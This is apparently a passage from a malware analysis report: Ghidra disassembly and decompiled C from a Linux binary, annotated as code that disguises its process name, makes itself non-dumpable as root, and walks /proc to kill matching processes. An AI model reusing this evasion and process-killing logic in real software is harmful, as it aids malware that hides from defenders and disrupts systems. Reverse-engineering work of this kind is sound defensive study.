00414b0b74 22JZ LAB_00414b2f
LAB_00414b0d:
00414b0d41 8b 3c 24MOV EDI,dword ptr [R12]
00414b11e8 cb f8 ff ffCALL FUN_004143e1
00414b1648 89 c2MOV RDX,RAX
00414b1948 85 c0TEST RAX,RAX
00414b1c74 dfJZ LAB_00414afd
00414b1e89 deMOV ESI,EBX
00414b2089 efMOV EDI,EBP
00414b22e8 76 fc ff ffCALL FUN_0041479d
00414b2785 c0TEST EAX,EAX
00414b2945 0f 45 eeCMOVNZ R13D,R14D
00414b2deb ceJMP LAB_00414afd
LAB_00414b2f:
00414b2f48 8d 15 79 3d 01 00LEA RDX,[DAT_004288af]
00414b3689 deMOV ESI,EBX
00414b3889 efMOV EDI,EBP
00414b3ae8 5e fc ff ffCALL FUN_0041479d
00414b3f44 09 e8OR EAX,R13D
00414b4275 afJNZ LAB_00414af3
00414b44e9 64 ff ff ffJMP LAB_00414aad
LAB_00414b49:
00414b4983 c8 ffOR EAX,0xffffffff
00414b4ce9 62 02 00 00JMP LAB_00414db3
LAB_00414b51:
00414b51e8 7e 7f 00 00CALL FUN_0041cad4
00414b5641 89 c4MOV R12D,EAX
00414b5983 f8 01CMP EAX,0x1
00414b5c0f 8e 0b fe ff ffJLE LAB_0041496d
00414b6239 c3CMP EBX,EAX
00414b640f 84 03 fe ff ffJZ LAB_0041496d
00414b6a48 89 eeMOV RSI,RBP
00414b6d44 89 e7MOV EDI,R12D
00414b70e8 35 fb ff ffCALL FUN_004146aa
00414b7585 c0TEST EAX,EAX
00414b770f 84 f0 fd ff ffJZ LAB_0041496d
00414b7d8a 84 24 a0 00 00 00MOV AL,byte ptr [RSP + local_78]
00414b8484 c0TEST AL,AL
00414b860f 84 e1 fd ff ffJZ LAB_0041496d
00414b8c3c 5bCMP AL,0x5b
00414b8e0f 84 d1 fd ff ffJZ LAB_00414965
00414b94bf 98 01 00 00MOV EDI,0x198
00414b99e8 43 f8 ff ffCALL FUN_004143e1
00414b9e48 89 efMOV RDI,RBP
00414ba148 89 c6MOV RSI,RAX
00414ba4e8 6b 85 ff ffCALL FUN_0040d114
00414ba948 85 c0TEST RAX,RAX
00414bac74 13JZ LAB_00414bc1
LAB_00414bae:
00414bae80 bc 24 a0 00 00 00 5bCMP byte ptr [RSP + local_78],0x5b
00414bb60f 85 c7 01 00 00JNZ LAB_00414d83
00414bbce9 a4 fd ff ffJMP LAB_00414965
LAB_00414bc1:
00414bc1bf 99 01 00 00MOV EDI,0x199
00414bc6e8 16 f8 ff ffCALL FUN_004143e1
00414bcb48 89 efMOV RDI,RBP
00414bce48 89 c6MOV RSI,RAX
00414bd1e8 3e 85 ff ffCALL FUN_0040d114
00414bd648 85 c0TEST RAX,RAX
00414bd975 d3JNZ LAB_00414bae
00414bdbbf 9a 01 00 00MOV EDI,0x19a
00414be0e8 fc f7 ff ffCALL FUN_004143e1
00414be548 89 efMOV RDI,RBP
00414be848 89 c6MOV RSI,RAX
00414bebe8 24 85 ff ffCALL FUN_0040d114
00414bf048 85 c0TEST RAX,RAX
00414bf375 b9JNZ LAB_00414bae
00414bf5bf 9b 01 00 00MOV EDI,0x19b
00414bfae8 e2 f7 ff ffCALL FUN_004143e1
00414bff48 89 efMOV RDI,RBP
00414c0248 89 c6MOV RSI,RAX
00414c05e8 0a 85 ff ffCALL FUN_0040d114
00414c0a48 85 c0TEST RAX,RAX
00414c0d75 9fJNZ LAB_00414bae
00414c0fbf 9c 01 00 00MOV EDI,0x19c
00414c14e8 c8 f7 ff ffCALL FUN_004143e1
00414c1948 89 efMOV RDI,RBP
00414c1c48 89 c6MOV RSI,RAX
00414c1fe8 f0 84 ff ffCALL FUN_0040d114
00414c2448 85 c0TEST RAX,RAX
00414c2775 85JNZ LAB_00414bae
00414c29bf 9d 01 00 00MOV EDI,0x19d
00414c2ee8 ae f7 ff ffCALL FUN_004143e1
00414c3348 89 efMOV RDI,RBP
00414c3648 89 c6MOV RSI,RAX
00414c39e8 d6 84 ff ffCALL FUN_0040d114
00414c3e48 85 c0TEST RAX,RAX
00414c410f 85 67 ff ff ffJNZ LAB_00414bae
00414c47bf 97 01 00 00MOV EDI,0x197
00414c4ce8 90 f7 ff ffCALL FUN_004143e1
00414c5148 89 c6MOV RSI,RAX
00414c5448 85 c0TEST RAX,RAX
00414c5774 10JZ LAB_00414c69
00414c5948 89 efMOV RDI,RBP
00414c5ce8 ff 81 00 00CALL FUN_0041ce60
00414c6185 c0TEST EAX,EAX
00414c630f 84 45 ff ff ffJZ LAB_00414bae
LAB_00414c69:
00414c69bf 9e 01 00 00MOV EDI,0x19e
00414c6ee8 6e f7 ff ffCALL FUN_004143e1
00414c7349 89 c6MOV R14,RAX
00414c7648 85 c0TEST RAX,RAX
00414c7974 13JZ LAB_00414c8e
00414c7b48 89 c6MOV RSI,RAX
00414c7e48 89 efMOV RDI,RBP
00414c81e8 da 81 00 00CALL FUN_0041ce60
00414c8685 c0TEST EAX,EAX
00414c880f 84 20 ff ff ffJZ LAB_00414bae
LAB_00414c8e:
00414c8ebf 9f 01 00 00MOV EDI,0x19f
00414c93e8 49 f7 ff ffCALL FUN_004143e1
00414c9848 89 c6MOV RSI,RAX
00414c9b48 85 c0TEST RAX,RAX
00414c9e74 10JZ LAB_00414cb0
00414ca048 89 efMOV RDI,RBP
00414ca3e8 b8 81 00 00CALL FUN_0041ce60
00414ca885 c0TEST EAX,EAX
00414caa0f 84 fe fe ff ffJZ LAB_00414bae
LAB_00414cb0:
00414cb0bf a0 01 00 00MOV EDI,0x1a0
00414cb5e8 27 f7 ff ffCALL FUN_004143e1
00414cba48 89 c6MOV RSI,RAX
00414cbd48 85 c0TEST RAX,RAX
00414cc074 10JZ LAB_00414cd2
00414cc248 89 efMOV RDI,RBP
00414cc5e8 96 81 00 00CALL FUN_0041ce60
00414cca85 c0TEST EAX,EAX
00414ccc0f 84 dc fe ff ffJZ LAB_00414bae
LAB_00414cd2:
00414cd2bf a1 01 00 00MOV EDI,0x1a1
00414cd7e8 05 f7 ff ffCALL FUN_004143e1
00414cdc48 89 c6MOV RSI,RAX
00414cdf48 85 c0TEST RAX,RAX
00414ce274 10JZ LAB_00414cf4
00414ce448 89 efMOV RDI,RBP
00414ce7e8 74 81 00 00CALL FUN_0041ce60
00414cec85 c0TEST EAX,EAX
00414cee0f 84 ba fe ff ffJZ LAB_00414bae
LAB_00414cf4:
00414cf4bf a2 01 00 00MOV EDI,0x1a2
00414cf9e8 e3 f6 ff ffCALL FUN_004143e1
00414cfe48 89 c6MOV RSI,RAX
00414d0148 85 c0TEST RAX,RAX
00414d0474 10JZ LAB_00414d16
00414d0648 89 efMOV RDI,RBP
00414d09e8 52 81 00 00CALL FUN_0041ce60
00414d0e85 c0TEST EAX,EAX
00414d100f 84 98 fe ff ffJZ LAB_00414bae
LAB_00414d16:
00414d164c 89 f6MOV RSI,R14
00414d1948 89 efMOV RDI,RBP
00414d1ce8 f3 83 ff ffCALL FUN_0040d114
00414d2148 85 c0TEST RAX,RAX
00414d240f 85 84 fe ff ffJNZ LAB_00414bae
00414d2abf 9f 01 00 00MOV EDI,0x19f
00414d2fe8 ad f6 ff ffCALL FUN_004143e1
00414d3448 89 efMOV RDI,RBP
00414d3748 89 c6MOV RSI,RAX
00414d3ae8 d5 83 ff ffCALL FUN_0040d114
00414d3f48 85 c0TEST RAX,RAX
00414d420f 85 66 fe ff ffJNZ LAB_00414bae
00414d48bf a3 01 00 00MOV EDI,0x1a3
00414d4de8 8f f6 ff ffCALL FUN_004143e1
00414d5248 89 efMOV RDI,RBP
00414d5548 89 c6MOV RSI,RAX
00414d58e8 b7 83 ff ffCALL FUN_0040d114
00414d5d48 85 c0TEST RAX,RAX
00414d600f 85 48 fe ff ffJNZ LAB_00414bae
00414d6648 8d 35 3f 3b 01 00LEA RSI,[DAT_004288ac]
00414d6d48 89 efMOV RDI,RBP
00414d70e8 cb 87 00 00CALL FUN_0041d540
00414d7548 85 c0TEST RAX,RAX
00414d780f 85 30 fe ff ffJNZ LAB_00414bae
00414d7ee9 e2 fb ff ffJMP LAB_00414965
LAB_00414d83:
00414d8344 89 e7MOV EDI,R12D
00414d86e8 fb f7 ff ffCALL FUN_00414586
00414d8b85 c0TEST EAX,EAX
00414d8d0f 84 d2 fb ff ffJZ LAB_00414965
00414d9348 63 05 86 a3 21 00MOVSXD RAX,dword ptr [DAT_0062f120]
00414d9a48 8d 0d 9f a3 21 00LEA RCX,[DAT_0062f140]
00414da18d 50 01LEA EDX,[RAX + 0x1]
00414da444 89 24 81MOV dword ptr [RCX + RAX*0x4],R12D
00414da889 15 72 a3 21 00MOV dword ptr [DAT_0062f120],EDX
00414daee9 b2 fb ff ffJMP LAB_00414965
LAB_00414db3:
00414db348 81 c4 e8 00 00 00ADD RSP,0xe8
00414dba5bPOP RBX
00414dbb5dPOP RBP
00414dbc41 5cPOP R12
00414dbe41 5dPOP R13
00414dc041 5ePOP R14
00414dc241 5fPOP R15
00414dc4c3RET

as root, sets non-dumpable and a random…

0x414dca601 bytes
undefined FUN_00414dca()

as root, sets non-dumpable and a random store process name

Cited as
E11
Behaviours
B3
Called from
FUN_004001d0, FUN_004163d6, FUN_00417403
Calls
FUN_0040caad, FUN_004143e1, FUN_00414417, FUN_00414442, FUN_004146aa, FUN_00414879, FUN_00417dc5, FUN_00417ea8, FUN_00417f10, thunk_FUN_004183e7, FUN_0041c0d4, FUN_0041cea0, FUN_0041cf00, FUN_0041d050, FUN_0041db41, FUN_0041dc31, FUN_0041dc97, FUN_0041ddd5
Decompiled C · 111 lines
undefined8 FUN_00414dca(undefined4 param_1)

{
  char cVar1;
  int iVar2;
  uint uVar3;
  undefined4 uVar4;
  undefined8 *puVar5;
  char *pcVar6;
  long lVar7;
  undefined8 uVar8;
  ulong uVar9;
  undefined1 *puVar10;
  char *pcVar11;
  byte bVar12;
  char local_28 [16];
  
  bVar12 = 0;
  pcVar6 = local_28;
  iVar2 = FUN_0041dc31();
  if (iVar2 != 0) {
    return 0;
  }
  FUN_00417ea8(4,0,0,0,0);
  FUN_0041c0d4(5,1);
  local_28[0] = '\0';
  if (DAT_0062e6f0 == 0) {
LAB_00414e16:
    local_28[0] = '\0';
    iVar2 = FUN_00417ea8(0x10,local_28,0,0,0);
    if ((iVar2 != 0) || (FUN_00414417(local_28), local_28[0] == '\0')) {
      uVar4 = FUN_0041dc97();
      iVar2 = FUN_004146aa(uVar4,local_28);
      if (iVar2 == 0) {
        if (((DAT_0062e6f0 == 0) || (*(undefined1 **)(DAT_0062e6f0 + 0xe60) == (undefined1 *)0x0))
           || (uVar3 = *(uint *)(DAT_0062e6f0 + 0xe68), (int)uVar3 < 1)) {
          lVar7 = FUN_004143e1(0x197);
          if (lVar7 != 0) {
            FUN_0041d050(local_28,lVar7,0xf);
            local_28[0xf] = 0;
          }
        }
        else {
          if (0xf < (int)uVar3) {
            uVar3 = 0xf;
          }
          puVar10 = *(undefined1 **)(DAT_0062e6f0 + 0xe60);
          pcVar11 = local_28;
          for (uVar9 = (ulong)uVar3; uVar9 != 0; uVar9 = uVar9 - 1) {
            *pcVar11 = *puVar10;
            puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
            pcVar11 = pcVar11 + (ulong)bVar12 * -2 + 1;
          }
          local_28[(int)uVar3] = '\0';
        }
      }
    }
  }
  else {
    uVar3 = FUN_0040caad();
    puVar5 = (undefined8 *)(((ulong)(uVar3 & 7) + 0xe7) * 0x10 + DAT_0062e6f0);
    puVar10 = (undefined1 *)*puVar5;
    if ((puVar10 == (undefined1 *)0x0) || (uVar3 = *(uint *)(puVar5 + 1), (int)uVar3 < 1))
    goto LAB_00414e16;
    if (0xf < (int)uVar3) {
      uVar3 = 0xf;
    }
    pcVar11 = local_28;
    for (uVar9 = (ulong)uVar3; uVar9 != 0; uVar9 = uVar9 - 1) {
      *pcVar11 = *puVar10;
      puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
      pcVar11 = pcVar11 + (ulong)bVar12 * -2 + 1;
    }
    local_28[(int)uVar3] = '\0';
    FUN_00414417(local_28);
    if (local_28[0] == '\0') goto LAB_00414e16;
  }
  for (; (cVar1 = *pcVar6, cVar1 != '\0' && (local_28 + 0xf != pcVar6)); pcVar6 = pcVar6 + 1) {
    if ((cVar1 == '/') || (cVar1 == ' ')) {
      *pcVar6 = '_';
    }
  }
  local_28[0xf] = 0;
  if (local_28[0] == '.') {
    local_28[0] = '_';
  }
  else if ((local_28[0] == '\0') &&
          ((lVar7 = FUN_004143e1(0x197), lVar7 == 0 ||
           (FUN_0041d050(local_28,lVar7,0xf), local_28[0] == '\0')))) goto LAB_00414fc3;
  FUN_00417ea8(0xf,local_28,0,0,0);
  lVar7 = FUN_004143e1(0x161);
  if ((lVar7 != 0) && (iVar2 = FUN_00417dc5(lVar7,0x201), -1 < iVar2)) {
    uVar8 = FUN_0041cf00(local_28);
    FUN_0041ddd5(iVar2,local_28,uVar8);
    FUN_0041db41(iVar2);
  }
LAB_00414fc3:
  if (DAT_0062fe20 != 0) {
    thunk_FUN_004183e7();
  }
  lVar7 = FUN_0041cf00(local_28);
  DAT_0062fe20 = FUN_00417f10(1,lVar7 + 1);
  if (DAT_0062fe20 != 0) {
    FUN_0041cea0(DAT_0062fe20,local_28);
  }
  FUN_00414442();
  uVar8 = FUN_00414879(param_1);
  return uVar8;
}

Assembly · 179 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
00414dca41 55PUSH R13; E11
00414dcc41 54PUSH R12
00414dce41 89 fcMOV R12D,EDI
00414dd155PUSH RBP
00414dd248 83 ec 10SUB RSP,0x10
00414dd6e8 56 8e 00 00CALL FUN_0041dc31
00414ddb85 c0TEST EAX,EAX
00414ddd0f 85 34 02 00 00JNZ LAB_00415017
00414de345 31 c0XOR R8D,R8D
00414de631 c9XOR ECX,ECX
00414de831 d2XOR EDX,EDX
00414dea31 f6XOR ESI,ESI
00414decbf 04 00 00 00MOV EDI,0x4
00414df148 89 e5MOV RBP,RSP
00414df4e8 af 30 00 00CALL FUN_00417ea8
00414df9be 01 00 00 00MOV ESI,0x1
00414dfebf 05 00 00 00MOV EDI,0x5
00414e03e8 cc 72 00 00CALL FUN_0041c0d4
00414e0848 83 3d e0 98 21 00 00CMP qword ptr [DAT_0062e6f0],0x0
00414e10c6 04 24 00MOV byte ptr [RSP],0x0
00414e1475 20JNZ LAB_00414e36
LAB_00414e16:
00414e1645 31 c0XOR R8D,R8D
00414e1931 c9XOR ECX,ECX
00414e1b31 d2XOR EDX,EDX
00414e1d31 c0XOR EAX,EAX
00414e1f48 89 eeMOV RSI,RBP
00414e22bf 10 00 00 00MOV EDI,0x10
00414e27c6 04 24 00MOV byte ptr [RSP],0x0
00414e2be8 78 30 00 00CALL FUN_00417ea8
00414e3085 c0TEST EAX,EAX
00414e3274 55JZ LAB_00414e89
00414e34eb 61JMP LAB_00414e97
LAB_00414e36:
00414e36e8 72 7c ff ffCALL FUN_0040caad
00414e3b83 e0 07AND EAX,0x7
00414e3e48 05 e7 00 00 00ADD RAX,0xe7
00414e4448 c1 e0 04SHL RAX,0x4
00414e4848 03 05 a1 98 21 00ADD RAX,qword ptr [DAT_0062e6f0]
00414e4f48 8b 30MOV RSI,qword ptr [RAX]
00414e5248 85 f6TEST RSI,RSI
00414e5574 bfJZ LAB_00414e16
00414e578b 48 08MOV ECX,dword ptr [RAX + 0x8]
00414e5a85 c9TEST ECX,ECX
00414e5c7e b8JLE LAB_00414e16
00414e5eb8 0f 00 00 00MOV EAX,0xf
00414e6348 89 efMOV RDI,RBP
00414e6639 c1CMP ECX,EAX
00414e680f 4f c8CMOVG ECX,EAX
00414e6b48 63 c1MOVSXD RAX,ECX
00414e6e89 c9MOV ECX,ECX
00414e70f3 a4MOVSB.REP RDI,RSI
00414e7248 89 efMOV RDI,RBP
00414e75c6 04 04 00MOV byte ptr [RSP + RAX*0x1],0x0
00414e79e8 99 f5 ff ffCALL FUN_00414417
00414e7e80 3c 24 00CMP byte ptr [RSP],0x0
00414e8274 92JZ LAB_00414e16
00414e84e9 81 00 00 00JMP LAB_00414f0a
LAB_00414e89:
00414e8948 89 efMOV RDI,RBP
00414e8ce8 86 f5 ff ffCALL FUN_00414417
00414e9180 3c 24 00CMP byte ptr [RSP],0x0
00414e9575 73JNZ LAB_00414f0a
LAB_00414e97:
00414e97e8 fb 8d 00 00CALL FUN_0041dc97
00414e9c48 89 eeMOV RSI,RBP
00414e9f89 c7MOV EDI,EAX
00414ea1e8 04 f8 ff ffCALL FUN_004146aa
00414ea685 c0TEST EAX,EAX
00414ea875 60JNZ LAB_00414f0a
00414eaa48 8b 05 3f 98 21 00MOV RAX,qword ptr [DAT_0062e6f0]
00414eb148 85 c0TEST RAX,RAX
00414eb474 30JZ LAB_00414ee6
00414eb648 8b b0 60 0e 00 00MOV RSI,qword ptr [RAX + 0xe60]
00414ebd48 85 f6TEST RSI,RSI
00414ec074 24JZ LAB_00414ee6
00414ec28b 88 68 0e 00 00MOV ECX,dword ptr [RAX + 0xe68]
00414ec885 c9TEST ECX,ECX
00414eca7e 1aJLE LAB_00414ee6
00414eccb8 0f 00 00 00MOV EAX,0xf
00414ed148 89 efMOV RDI,RBP
00414ed439 c1CMP ECX,EAX
00414ed60f 4f c8CMOVG ECX,EAX
00414ed948 63 c1MOVSXD RAX,ECX
00414edc89 c9MOV ECX,ECX
00414edef3 a4MOVSB.REP RDI,RSI
00414ee0c6 04 04 00MOV byte ptr [RSP + RAX*0x1],0x0
00414ee4eb 24JMP LAB_00414f0a
LAB_00414ee6:
00414ee6bf 97 01 00 00MOV EDI,0x197
00414eebe8 f1 f4 ff ffCALL FUN_004143e1
00414ef048 89 c6MOV RSI,RAX
00414ef348 85 c0TEST RAX,RAX
00414ef674 12JZ LAB_00414f0a
00414ef8ba 0f 00 00 00MOV EDX,0xf
00414efd48 89 efMOV RDI,RBP
00414f00e8 4b 81 00 00CALL FUN_0041d050
00414f05c6 44 24 0f 00MOV byte ptr [RSP + local_19],0x0
LAB_00414f0a:
00414f0a48 8d 4c 24 0fLEA RCX,[RSP + 0xf]
00414f0f48 89 e8MOV RAX,RBP
LAB_00414f12:
00414f128a 10MOV DL,byte ptr [RAX]
00414f1484 d2TEST DL,DL
00414f1674 17JZ LAB_00414f2f
00414f1848 39 c1CMP RCX,RAX
00414f1b74 12JZ LAB_00414f2f
00414f1d80 fa 2fCMP DL,0x2f
00414f2074 05JZ LAB_00414f27
00414f2280 fa 20CMP DL,0x20
00414f2575 03JNZ LAB_00414f2a
LAB_00414f27:
00414f27c6 00 5fMOV byte ptr [RAX],0x5f
LAB_00414f2a:
00414f2a48 ff c0INC RAX
00414f2deb e3JMP LAB_00414f12
LAB_00414f2f:
00414f2f8a 04 24MOV AL,byte ptr [RSP]
00414f32c6 44 24 0f 00MOV byte ptr [RSP + local_19],0x0
00414f373c 2eCMP AL,0x2e
00414f3975 06JNZ LAB_00414f41
00414f3bc6 04 24 5fMOV byte ptr [RSP],0x5f
00414f3feb 29JMP LAB_00414f6a
LAB_00414f41:
00414f4184 c0TEST AL,AL
00414f4375 25JNZ LAB_00414f6a
00414f45bf 97 01 00 00MOV EDI,0x197
00414f4ae8 92 f4 ff ffCALL FUN_004143e1
00414f4f48 89 c6MOV RSI,RAX
00414f5248 85 c0TEST RAX,RAX
00414f5574 6cJZ LAB_00414fc3
00414f57ba 0f 00 00 00MOV EDX,0xf
00414f5c48 89 efMOV RDI,RBP
00414f5fe8 ec 80 00 00CALL FUN_0041d050
00414f6480 3c 24 00CMP byte ptr [RSP],0x0
00414f6874 59JZ LAB_00414fc3
LAB_00414f6a:
00414f6a31 d2XOR EDX,EDX
00414f6cbf 0f 00 00 00MOV EDI,0xf
00414f7145 31 c0XOR R8D,R8D
00414f7431 c9XOR ECX,ECX
00414f7648 89 eeMOV RSI,RBP
00414f7931 c0XOR EAX,EAX
00414f7be8 28 2f 00 00CALL FUN_00417ea8
00414f80bf 61 01 00 00MOV EDI,0x161
00414f85e8 57 f4 ff ffCALL FUN_004143e1
00414f8a48 89 c7MOV RDI,RAX
00414f8d48 85 c0TEST RAX,RAX
00414f9074 31JZ LAB_00414fc3
00414f92be 01 02 00 00MOV ESI,0x201
00414f9731 c0XOR EAX,EAX
00414f99e8 27 2e 00 00CALL FUN_00417dc5
00414f9e41 89 c5MOV R13D,EAX
00414fa185 c0TEST EAX,EAX
00414fa378 1eJS LAB_00414fc3
00414fa548 89 efMOV RDI,RBP
00414fa8e8 53 7f 00 00CALL FUN_0041cf00
00414fad44 89 efMOV EDI,R13D
00414fb048 89 eeMOV RSI,RBP
00414fb348 89 c2MOV RDX,RAX
00414fb6e8 1a 8e 00 00CALL FUN_0041ddd5
00414fbb44 89 efMOV EDI,R13D
00414fbee8 7e 8b 00 00CALL FUN_0041db41
LAB_00414fc3:
00414fc348 8b 3d 56 ae 21 00MOV RDI,qword ptr [DAT_0062fe20]
00414fca48 85 ffTEST RDI,RDI
00414fcd74 05JZ LAB_00414fd4
00414fcfe8 2c 30 00 00CALL thunk_FUN_004183e7
LAB_00414fd4:
00414fd448 89 efMOV RDI,RBP
00414fd7e8 24 7f 00 00CALL FUN_0041cf00
00414fdcbf 01 00 00 00MOV EDI,0x1
00414fe148 8d 70 01LEA RSI,[RAX + 0x1]
00414fe5e8 26 2f 00 00CALL FUN_00417f10
00414fea48 89 05 2f ae 21 00MOV qword ptr [DAT_0062fe20],RAX
00414ff148 89 c7MOV RDI,RAX
00414ff448 85 c0TEST RAX,RAX
00414ff774 08JZ LAB_00415001
00414ff948 89 eeMOV RSI,RBP
00414ffce8 9f 7e 00 00CALL FUN_0041cea0
LAB_00415001:
00415001e8 3c f4 ff ffCALL FUN_00414442
0041500648 83 c4 10ADD RSP,0x10
0041500a44 89 e7MOV EDI,R12D
0041500d5dPOP RBP
0041500e41 5cPOP R12
0041501041 5dPOP R13
00415012e9 62 f8 ff ffJMP FUN_00414879
LAB_00415017:
0041501748 83 c4 10ADD RSP,0x10
0041501b31 c0XOR EAX,EAX
0041501d5dPOP RBP
0041501e41 5cPOP R12
0041502041 5dPOP R13
00415022c3RET

/proc walker that kills matching…

0x415fc6723 bytes
undefined FUN_00415fc6()

/proc walker that kills matching processes (syscall profile)

Cited as
E19
Behaviours
B5, B10
Called from
FUN_004163d6
Calls
FUN_0040d07f, FUN_00415059, FUN_00415089, FUN_0041509f, FUN_004150c7, FUN_00415245, FUN_00415435, FUN_004155be, FUN_004157e1, FUN_00415980, FUN_004159c3, FUN_00415a81, FUN_00415c41, FUN_00415e18, FUN_00415e25, FUN_004177dd, FUN_00417843, FUN_0041c083
Decompiled C · 79 lines
void FUN_00415fc6(undefined8 param_1)

{
  char cVar1;
  uint uVar2;
  int iVar3;
  long lVar4;
  long lVar5;
  int iVar6;
  undefined1 auStack_5038 [4096];
  uint auStack_4038 [4098];
  
  iVar6 = 0;
  FUN_00417843();
  while (lVar4 = FUN_004177dd(param_1), lVar4 != 0) {
    if ((byte)(*(char *)(lVar4 + 0x13) - 0x30U) < 10) {
      lVar4 = lVar4 + 0x13;
      uVar2 = FUN_0040d07f(lVar4);
      if ((1 < (int)uVar2) &&
         ((0x3ffffe < uVar2 - 1 ||
          (((byte)(&DAT_00639e60)[(int)uVar2 >> 3] >> (uVar2 & 7) & 1) == 0)))) {
        cVar1 = FUN_004157e1(uVar2);
        if ((((cVar1 == '\0') &&
             ((((DAT_0062ba30 != uVar2 || ((int)DAT_0062ba30 < 1)) &&
               ((DAT_0062ba34 != uVar2 || ((int)DAT_0062ba34 < 1)))) &&
              (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)))) &&
            ((((((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                 (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
                (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')) ||
               ((lVar5 = FUN_00415059(auStack_5038,0x1ac), lVar5 != 0 ||
                (lVar5 = FUN_00415059(auStack_5038,0x1ad), lVar5 != 0)))) ||
              (iVar3 = FUN_00415a81(lVar4), iVar3 != 0)) &&
             (cVar1 = FUN_00415980(uVar2), cVar1 == '\0')))) &&
           (((((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
               (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)) &&
              ((cVar1 = FUN_004155be(auStack_5038), cVar1 == '\0' &&
               ((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)))))) ||
             ((iVar3 = FUN_00415a81(lVar4), iVar3 != 0 ||
              (((((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                  (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)) &&
                 ((lVar5 = FUN_00415059(auStack_5038,0x1ac), lVar5 != 0 ||
                  (lVar5 = FUN_00415059(auStack_5038,0x1ad), lVar5 != 0)))) &&
                ((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                 (iVar3 = FUN_00415e25(lVar4), iVar3 != 0)))) ||
               ((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                (iVar3 = FUN_00415e25(lVar4), iVar3 != 0)))))))) ||
            (((((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
                (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)) &&
               (cVar1 = FUN_004155be(auStack_5038), cVar1 == '\0')) &&
              (cVar1 = FUN_00415e18(auStack_5038), cVar1 != '\x01')) &&
             (((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
               (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
              (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')))))))) {
          iVar3 = FUN_00415c41(uVar2);
          if ((iVar6 < 0x1000) && (iVar3 != 0)) {
            lVar4 = (long)iVar6;
            iVar6 = iVar6 + 1;
            auStack_4038[lVar4] = uVar2;
          }
        }
        else {
          FUN_0041509f(uVar2);
        }
      }
    }
  }
  for (lVar4 = 0; (int)lVar4 < iVar6; lVar4 = lVar4 + 1) {
    uVar2 = auStack_4038[lVar4];
    cVar1 = FUN_00415980(uVar2);
    if (cVar1 == '\0') {
      FUN_0041c083(uVar2,9);
      FUN_0041509f(uVar2);
    }
  }
  return;
}

Assembly · 213 instructions, 0 annotated
AddressBytesInstructionComment
00415fc641 57PUSH R15
00415fc841 56PUSH R14
00415fca41 55PUSH R13
00415fcc4c 8d 2d 8d 3e 22 00LEA R13,[DAT_00639e60]
00415fd341 54PUSH R12
00415fd549 89 fcMOV R12,RDI
00415fd855PUSH RBP
00415fd953PUSH RBX
00415fda31 dbXOR EBX,EBX
00415fdc48 81 ec 08 50 00 00SUB RSP,0x5008
00415fe3e8 5b 18 00 00CALL FUN_00417843
LAB_00415fe8:
00415fe84c 89 e7MOV RDI,R12
00415febe8 ed 17 00 00CALL FUN_004177dd
00415ff048 85 c0TEST RAX,RAX
00415ff30f 84 2c 02 00 00JZ LAB_00416225
00415ff98a 48 13MOV CL,byte ptr [RAX + 0x13]
00415ffc8d 51 d0LEA EDX,[RCX + -0x30]
00415fff80 fa 09CMP DL,0x9
0041600277 e4JA LAB_00415fe8
0041600448 8d 68 13LEA RBP,[RAX + 0x13]
0041600848 89 efMOV RDI,RBP
0041600be8 6f 70 ff ffCALL FUN_0040d07f
0041601041 89 c7MOV R15D,EAX
0041601383 f8 01CMP EAX,0x1
004160167e d0JLE LAB_00415fe8
004160188d 40 ffLEA EAX,[RAX + -0x1]
0041601b3d fe ff 3f 00CMP EAX,0x3ffffe
0041602077 19JA LAB_0041603b
0041602244 89 f8MOV EAX,R15D
00416025c1 f8 03SAR EAX,0x3
0041602848 98CDQE
0041602a41 0f b6 54 05 00MOVZX EDX,byte ptr [R13 + RAX*0x1]
0041603044 89 f8MOV EAX,R15D
0041603383 e0 07AND EAX,0x7
004160360f a3 c2BT EDX,EAX
0041603972 adJC LAB_00415fe8
LAB_0041603b:
0041603b44 89 ffMOV EDI,R15D
0041603ee8 9e f7 ff ffCALL FUN_004157e1
0041604384 c0TEST AL,AL
004160450f 85 cd 01 00 00JNZ LAB_00416218
0041604b8b 05 df 59 21 00MOV EAX,dword ptr [DAT_0062ba30]
0041605144 39 f8CMP EAX,R15D
0041605475 08JNZ LAB_0041605e
0041605685 c0TEST EAX,EAX
004160580f 8f ba 01 00 00JG LAB_00416218
LAB_0041605e:
0041605e8b 05 d0 59 21 00MOV EAX,dword ptr [DAT_0062ba34]
0041606444 39 f8CMP EAX,R15D
0041606775 08JNZ LAB_00416071
0041606985 c0TEST EAX,EAX
0041606b0f 8f a7 01 00 00JG LAB_00416218
LAB_00416071:
0041607149 89 e6MOV R14,RSP
0041607448 89 efMOV RDI,RBP
004160774c 89 f6MOV RSI,R14
0041607ae8 c6 f1 ff ffCALL FUN_00415245
0041607f85 c0TEST EAX,EAX
004160810f 84 91 01 00 00JZ LAB_00416218
004160874c 89 f7MOV RDI,R14
0041608ae8 38 f0 ff ffCALL FUN_004150c7
0041608f85 c0TEST EAX,EAX
0041609175 4cJNZ LAB_004160df
004160934c 89 f7MOV RDI,R14
00416096e8 ee ef ff ffCALL FUN_00415089
0041609b85 c0TEST EAX,EAX
0041609d75 40JNZ LAB_004160df
0041609f4c 89 f7MOV RDI,R14
004160a2e8 8e f3 ff ffCALL FUN_00415435
004160a784 c0TEST AL,AL
004160a975 34JNZ LAB_004160df
004160abbe ac 01 00 00MOV ESI,0x1ac
004160b04c 89 f7MOV RDI,R14
004160b3e8 a1 ef ff ffCALL FUN_00415059
004160b848 85 c0TEST RAX,RAX
